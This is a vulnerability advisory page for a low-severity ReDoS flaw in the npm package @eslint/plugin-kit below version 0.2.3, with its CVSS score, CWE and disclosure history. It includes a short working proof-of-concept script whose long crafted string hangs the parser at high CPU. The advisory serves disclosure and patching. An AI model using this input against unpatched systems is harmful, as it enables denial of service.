Low
Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit
Crafting a very large and well crafted string can increase the CPU usage and crash the program.
POC
js
const { ConfigCommentParser } = require("@eslint/plugin-kit");
var str = "";
for (var i = 0; i < 1000000; i++) {
str += " ";
}
str += "A";
console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseStringConfig(str, ""));
console.log("end")
// run `npm i @eslint/plugin-kit` and `node attack.js`
// then the program will stuck forever with high CPU usageAffected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | @eslint/plugin-kit | < 0.2.3 | 0.2.3 |
References
CVSS score
3.5/10
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L- Weakness (CWE)
CWE-1333, CWE-770- Platform
- npm
- Package
@eslint/plugin-kit- Disclosed
- 15.11.2024
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-7q7g-4xm8-89cq - CC BY 4.0
Vulnerability history: @eslint/plugin-kit
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 2
- First → latest
- 11.2024 07.2025
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Low 2
Disclosures per year
- 2024: 1
- 2025: 1
- 2026: 0
-
Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit this entry
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